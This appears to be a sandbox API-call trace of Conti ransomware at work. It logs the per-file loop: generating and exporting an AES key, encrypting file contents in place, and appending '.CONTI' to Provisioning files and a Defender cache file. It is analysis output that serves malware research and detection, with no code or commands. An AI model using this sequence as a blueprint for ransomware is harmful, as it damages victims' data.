	[0113.823] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.823] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.823] WriteFile (in: hFile=0x37c, lpBuffer=0x6b48758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b48758*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.823] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.823] CloseHandle (hObject=0x37c) returned 1
	[0113.823] GetProcessHeap () returned 0x1720000
	[0113.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.823] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.823] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.824] GetProcessHeap () returned 0x1720000
	[0113.824] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.824] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.825] GetProcessHeap () returned 0x1720000
	[0113.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4f20 | out: hHeap=0x1720000) returned 1
	[0113.825] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.825] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x17c83b0) returned 1
	[0113.825] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x573fb4c | out: pbData=0x6b459c4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.825] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.826] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.826] GetLastError () returned 0x0
	[0113.826] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=454) returned 1
	[0113.826] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0113.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.826] SetEndOfFile (hFile=0x37c) returned 1
	[0113.832] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.832] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.832] WriteFile (in: hFile=0x37c, lpBuffer=0x6b459c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b459c4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.837] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.837] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1c6, lpOverlapped=0x0) returned 1
	[0113.837] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1c6, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1d0) returned 1
	[0113.837] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.837] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.837] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.837] WriteFile (in: hFile=0x37c, lpBuffer=0x6b459b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b459b8*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.837] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.838] CloseHandle (hObject=0x37c) returned 1
	[0113.838] GetProcessHeap () returned 0x1720000
	[0113.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.838] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.838] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.838] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.838] GetProcessHeap () returned 0x1720000
	[0113.838] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.838] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.839] GetProcessHeap () returned 0x1720000
	[0113.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818328 | out: hHeap=0x1720000) returned 1
	[0113.839] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.839] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x17c83b0) returned 1
	[0113.839] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x573fb4c | out: pbData=0x6b440ac*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.839] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.840] GetLastError () returned 0x0
	[0113.840] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=851) returned 1
	[0113.840] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0113.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.840] SetEndOfFile (hFile=0x37c) returned 1
	[0113.840] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.840] WriteFile (in: hFile=0x37c, lpBuffer=0x6b440ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b440ac*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.843] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.843] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x353, lpOverlapped=0x0) returned 1
	[0113.843] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x353, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x360) returned 1
	[0113.843] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.843] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x360, lpOverlapped=0x0) returned 1
	[0113.843] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.843] WriteFile (in: hFile=0x37c, lpBuffer=0x6b440a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b440a0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.843] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.843] CloseHandle (hObject=0x37c) returned 1
	[0113.844] GetProcessHeap () returned 0x1720000
	[0113.844] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.844] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml"
	[0113.844] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.844] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.844] GetProcessHeap () returned 0x1720000
	[0113.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.844] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.844] GetProcessHeap () returned 0x1720000
	[0113.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c6110 | out: hHeap=0x1720000) returned 1
	[0113.844] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.845] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x17c83b0) returned 1
	[0113.845] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x573fb4c | out: pbData=0x6b45534*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.845] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.845] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.846] GetLastError () returned 0x0
	[0113.846] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=454) returned 1
	[0113.846] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0113.846] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.846] SetEndOfFile (hFile=0x37c) returned 1
	[0116.512] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.512] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.512] WriteFile (in: hFile=0x37c, lpBuffer=0x6b45534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b45534*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0116.517] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.517] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1c6, lpOverlapped=0x0) returned 1
	[0116.517] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1c6, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1d0) returned 1
	[0116.517] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.517] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1d0, lpOverlapped=0x0) returned 1
	[0116.517] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.517] WriteFile (in: hFile=0x37c, lpBuffer=0x6b45528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b45528*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0116.517] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.517] CloseHandle (hObject=0x37c) returned 1
	[0116.519] GetProcessHeap () returned 0x1720000
	[0116.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6597ea8
	[0116.520] lstrcpyW (in: lpString1=0x6597ea8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0116.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0116.520] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0116.615] GetProcessHeap () returned 0x1720000
	[0116.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6597ea8 | out: hHeap=0x1720000) returned 1
	[0116.615] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0116.615] GetProcessHeap () returned 0x1720000
	[0116.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1817e88 | out: hHeap=0x1720000) returned 1
	[0116.615] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0116.659] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ebc0 | out: phKey=0x6b4ebc0*=0x6b7ea78) returned 1
	[0116.659] CryptExportKey (in: hKey=0x6b7ea78, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ebc4, pdwDataLen=0x573fb4c | out: pbData=0x6b4ebc4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0116.660] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79")) returned 0x820
	[0116.670] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0116.671] GetLastError () returned 0x0
	[0116.671] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=61947904) returned 1
